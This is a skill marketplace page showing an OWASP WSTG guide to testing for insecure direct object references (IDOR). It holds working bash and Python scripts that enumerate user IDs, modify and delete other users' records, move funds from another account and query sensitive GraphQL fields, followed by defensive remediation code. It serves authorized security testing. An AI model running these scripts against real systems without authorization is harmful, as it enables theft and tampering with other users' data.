소스 정보
- 저장소
- CyberStrikeus/CyberStrike
- 최근 소스 활동
- 2026년 4월 28일 23:54
- 감지된 SKILL.md 언어
- 영어
- 스타
- 1,653
- 포크
- 254
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-authz-04명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-authz-04 |
| description | Testing for Insecure Direct Object References (IDOR) |
| category | authorization |
| owasp_id | WSTG-AUTHZ-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authorization","access-control","privilege","wstg","authz"] |
| tech_stack | [] |
| cwe_ids | ["CWE-639"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-AUTHZ-04
Testing for Insecure Direct Object References (IDOR)
Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to access objects directly without proper authorization checks. Attackers can modify parameters like IDs, filenames, or keys to access unauthorized resources belonging to other users. IDOR is a form of broken access control and can lead to unauthorized data disclosure, modification, or deletion.
| Location | Example |
|---|---|
| URL path | /api/users/123/profile |
| Query string | /download?file_id=456 |
| Request body | {"user_id": 789} |
| Headers | X-User-ID: 123 |
| Cookies | user_id=123 |
# Look for numeric IDs in requests
# Monitor API calls for patterns like:
# /api/users/123
# /api/orders/456
# /api/documents/789
# Common endpoints to check
endpoints=(
"/api/users/{id}"
)
#!/bin/bash
# Test accessing other users' resources by ID manipulation
TOKEN="your_auth_token"
OWN_ID=100
BASE_URL="https://target.com"
# Test accessing nearby IDs
for id in $(seq 95 105); do
if [ "$id" != "$OWN_ID" ]; then
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/users/$id/profile")
status=$(echo "$response" | tail -1)
body=$(echo "$response" | sed '$d')
if [ "$status" == "200" ]; then
echo "[VULN] IDOR: Accessed user $id"
echo "Data: $(echo $body | head -c 200)"
fi
fi
done
#!/bin/bash
# Test IDOR across HTTP methods
TOKEN="your_auth_token"
TARGET_ID=101 # Other user's ID
BASE_URL="https://target.com"
# GET - Read data
echo "=== Testing GET ==="
curl -s -X GET "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"
# PUT - Modify data
echo "=== Testing PUT ==="
curl -s -X PUT "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Hacked"}'
# DELETE - Delete resource
echo "=== Testing DELETE ==="
curl -s -X DELETE "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"
# POST - Create with someone else's ID
echo "=== Testing POST ==="
curl -s -X POST "$BASE_URL/api/users/$TARGET_ID/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product": "item1"}'
#!/bin/bash
# UUIDs are not immune to IDOR if they can be discovered
# Check if UUIDs are exposed in:
# - API responses listing resources
# - URL referer headers
# - JavaScript source code
# - Error messages
# - Public profiles
# Test with discovered UUIDs
curl -s "https://target.com/api/documents/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer $TOKEN"
# Check if UUID format validation is enforced
# Invalid UUIDs might reveal information
curl -s "https://target.com/api/documents/invalid-uuid" \
-H "Authorization: Bearer $TOKEN"
#!/bin/bash
# Test Base64 encoded IDs
# Decode current reference
current_ref="MTIz" # Base64 of "123"
decoded=$(echo "$current_ref" | base64 -d)
echo "Decoded: $decoded"
# Encode other IDs
for id in {120..130}; do
encoded=$(echo -n "$id" | base64)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$encoded" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; then
echo "[VULN] IDOR with encoded ID $id ($encoded)"
fi
done
# Test hex encoded IDs
for id in {120..130}; do
hex=$(printf '%x' $id)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$hex" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; then
echo "[VULN] IDOR with hex ID $hex"
fi
done
# IDOR in JSON body
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from_account": "OTHER_USER_ACCOUNT",
"to_account": "MY_ACCOUNT",
"amount": 100
}'
# IDOR with user_id in body
curl -s -X GET "https://target.com/api/user/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"user_id": 101}'
# IDOR in form data
curl -s -X POST "https://target.com/api/export" \
-H "Authorization: Bearer $TOKEN" \
-d "user_id=101&format=csv"
#!/usr/bin/env python3
import requests
import base64
import json
from concurrent.futures import ThreadPoolExecutor
class IDORTester:
def __init__(self, base_url, auth_token, own_id):
self.base_url = base_url
self.own_id = own_id
self.session = requests.Session()
self.session.headers.update({
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
})
self.vulnerabilities = []
def test_numeric_idor(self, endpoint_template, id_range=range(1, 100)):
"""Test numeric ID manipulation"""
print(f"\n[*] Testing numeric IDOR on: {endpoint_template}")
for test_id in id_range:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
# Check if we got actual data
try:
data = response.json()
if data and len(str(data)) > 10:
print(f"[VULN] IDOR at ID {test_id}: {endpoint}")
self.vulnerabilities.append({
"type": "numeric",
"endpoint": endpoint,
"id": test_id,
"method": "GET"
})
except:
pass
except Exception as e:
pass
return self.vulnerabilities
def test_write_idor(self, endpoint_template, test_ids):
"""Test IDOR for write operations"""
print(f"\n[*] Testing write IDOR on: {endpoint_template}")
methods = ["PUT", "PATCH", "DELETE"]
for test_id in test_ids:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
for method in methods:
try:
if method == "DELETE":
# Don't actually delete - just test response
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
timeout=5
)
else:
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
json={"test": "data"},
timeout=5
)
if response.status_code in [200, 204]:
print(f"[VULN] Write IDOR: {method} {endpoint}")
self.vulnerabilities.append({
"type": "write",
"endpoint": endpoint,
"id": test_id,
"method": method
})
except:
pass
return self.vulnerabilities
def test_body_idor(self, endpoint, param_name, test_ids):
"""Test IDOR in request body"""
print(f"\n[*] Testing body IDOR on: {endpoint} ({param_name})")
for test_id in test_ids:
if test_id == self.own_id:
continue
try:
response = self.session.post(
f"{self.base_url}{endpoint}",
json={param_name: test_id}
)
if response.status_code == 200:
print(f"[VULN] Body IDOR with {param_name}={test_id}")
self.vulnerabilities.append({
"type": "body",
"endpoint": endpoint,
"parameter": param_name,
"id": test_id
})
except:
pass
return self.vulnerabilities
def test_encoded_idor(self, endpoint_template, test_ids, encoding='base64'):
"""Test IDOR with encoded IDs"""
print(f"\n[*] Testing {encoding} encoded IDOR on: {endpoint_template}")
for test_id in test_ids:
if test_id == self.own_id:
continue
if encoding == 'base64':
encoded = base64.b64encode(str(test_id).encode()).decode()
elif encoding == 'hex':
encoded = hex(test_id)[2:]
else:
encoded = str(test_id)
endpoint = endpoint_template.replace("{id}", encoded)
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
print(f"[VULN] Encoded IDOR: {test_id} -> {encoded}")
self.vulnerabilities.append({
"type": f"encoded_{encoding}",
"endpoint": endpoint,
"original_id": test_id,
"encoded_id": encoded
})
except:
pass
return self.vulnerabilities
def test_parameter_pollution(self, endpoint, param_name):
"""Test HTTP Parameter Pollution for IDOR"""
print(f"\n[*] Testing HPP IDOR on: {endpoint}")
# Test sending multiple IDs
payloads = [
f"{param_name}={self.own_id}&{param_name}=101",
f"{param_name}=101&{param_name}={self.own_id}",
f"{param_name}[]={self.own_id}&{param_name}[]=101",
]
for payload in payloads:
try:
response = self.session.get(
f"{self.base_url}{endpoint}?{payload}"
)
if response.status_code == 200:
# Check if other user's data returned
if "101" in response.text or str(101) in response.text:
print(f"[VULN] HPP IDOR: {payload}")
self.vulnerabilities.append({
"type": "hpp",
"endpoint": endpoint,
"payload": payload
})
except:
pass
return self.vulnerabilities
def generate_report(self):
"""Generate IDOR testing report"""
print("\n" + "="*60)
print("IDOR TESTING REPORT")
print("="*60)
if not self.vulnerabilities:
print("\nNo IDOR vulnerabilities found.")
return
print(f"\nTotal vulnerabilities: {len(self.vulnerabilities)}\n")
# Group by type
by_type = {}
for vuln in self.vulnerabilities:
vuln_type = vuln['type']
if vuln_type not in by_type:
by_type[vuln_type] = []
by_type[vuln_type].append(vuln)
for vuln_type, vulns in by_type.items():
print(f"\n{vuln_type.upper()} ({len(vulns)} findings):")
for v in vulns:
print(f" - {v.get('endpoint', v)}")
# Usage
tester = IDORTester(
base_url="https://target.com",
auth_token="your_token_here",
own_id=100
)
# Test various endpoints
endpoints = [
"/api/users/{id}/profile",
"/api/users/{id}/orders",
"/api/accounts/{id}",
"/api/documents/{id}",
]
for endpoint in endpoints:
tester.test_numeric_idor(endpoint, range(95, 110))
tester.test_write_idor(endpoint, [101, 102, 103])
# Test body IDOR
tester.test_body_idor("/api/user/data", "user_id", [101, 102, 103])
# Generate report
tester.generate_report()
# GraphQL IDOR testing
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: 101) { id name email ssn creditCard } }"
}'
# Test with variables
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query GetUser($id: ID!) { user(id: $id) { id name email } }",
"variables": {"id": "101"}
}'
# Enumerate using introspection
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
| Tool | Description | Usage |
|---|---|---|
| Burp Intruder | ID enumeration | Numeric/payload fuzzing |
| Autorize (Burp) | Authorization testing | Compare responses |
| OWASP ZAP | Active scanning | Automated testing |
| Postman | API testing | Collection runner |
| Tool | Description |
|---|---|
| Burp Logger++ | Request logging |
| ParamMiner | Parameter discovery |
| JavaScript analysis | Extract IDs from code |
from functools import wraps
from flask import request, g, abort
def authorize_resource_access(resource_type):
"""Decorator to verify resource ownership"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
resource_id = kwargs.get('id')
# Get resource from database
resource = get_resource(resource_type, resource_id)
if not resource:
abort(404)
# Check ownership or admin status
if resource.owner_id != g.current_user.id:
if not g.current_user.has_role('admin'):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage
@app.route('/api/documents/<int:id>')
@require_auth
@authorize_resource_access('document')
def get_document(id):
return Document.query.get(id).to_json()
import secrets
import hashlib
class IndirectReferenceMap:
"""Map direct IDs to indirect references"""
def __init__(self, user_id):
self.user_id = user_id
self.cache = {}
def create_reference(self, direct_id, resource_type):
"""Create an indirect reference for a resource"""
# Generate unique indirect reference
seed = f"{self.user_id}:{resource_type}:{direct_id}:{secrets.token_hex(8)}"
indirect_ref = hashlib.sha256(seed.encode()).hexdigest()[:16]
# Store mapping in database (per user session)
IndirectMapping.create(
user_id=self.user_id,
indirect_ref=indirect_ref,
direct_id=direct_id,
resource_type=resource_type
)
return indirect_ref
def resolve_reference(self, indirect_ref, resource_type):
"""Resolve indirect reference to direct ID"""
mapping = IndirectMapping.query.filter_by(
user_id=self.user_id,
indirect_ref=indirect_ref,
resource_type=resource_type
).first()
if not mapping:
return None
return mapping.direct_id
# Usage
@app.route('/api/documents/<ref>')
@require_auth
def get_document(ref):
ref_map = IndirectReferenceMap(current_user.id)
document_id = ref_map.resolve_reference(ref, 'document')
if not document_id:
abort(404)
return Document.query.get(document_id).to_json()
from sqlalchemy import and_
class SecureResourceQuery:
"""Always include ownership in queries"""
@staticmethod
def get_user_document(document_id, user_id):
"""Get document only if user owns it"""
return Document.query.filter(
and_(
Document.id == document_id,
Document.owner_id == user_id
)
).first()
@staticmethod
def get_user_orders(user_id):
"""Get orders for specific user only"""
return Order.query.filter_by(user_id=user_id).all()
# Usage in routes
@app.route('/api/documents/<int:id>')
@require_auth
def get_document(id):
document = SecureResourceQuery.get_user_document(id, current_user.id)
if not document:
abort(404) # Don't reveal existence
return document.to_json()
import uuid
from sqlalchemy.dialects.postgresql import UUID
class Document(db.Model):
# Use UUID as primary key instead of sequential integer
id = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
content = db.Column(db.Text)
# Still implement authorization checks - UUIDs are NOT a security control
| Finding | CVSS | Severity |
|---|---|---|
| Read other users' sensitive data (PII, financial) | 7.5 | High |
| Modify other users' data | 8.1 | High |
| Delete other users' resources | 8.1 | High |
| Access administrative resources | 8.8 | High |
| Read non-sensitive data | 4.3 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-639 | Authorization Bypass Through User-Controlled Key | Core IDOR issue |
| CWE-284 | Improper Access Control | Broken access control |
| CWE-862 | Missing Authorization | No authorization check |
| CWE-863 | Incorrect Authorization | Wrong authorization |
[ ] Object references identified in requests
[ ] Sequential ID enumeration tested
[ ] IDOR in GET requests tested
[ ] IDOR in POST/PUT/DELETE tested
[ ] Body parameter IDOR tested
[ ] Encoded ID manipulation tested
[ ] UUID/GUID enumeration attempted
[ ] GraphQL IDOR tested (if applicable)
[ ] HPP for IDOR tested
[ ] Different user contexts tested
[ ] Findings documented
[ ] Remediation recommendations provided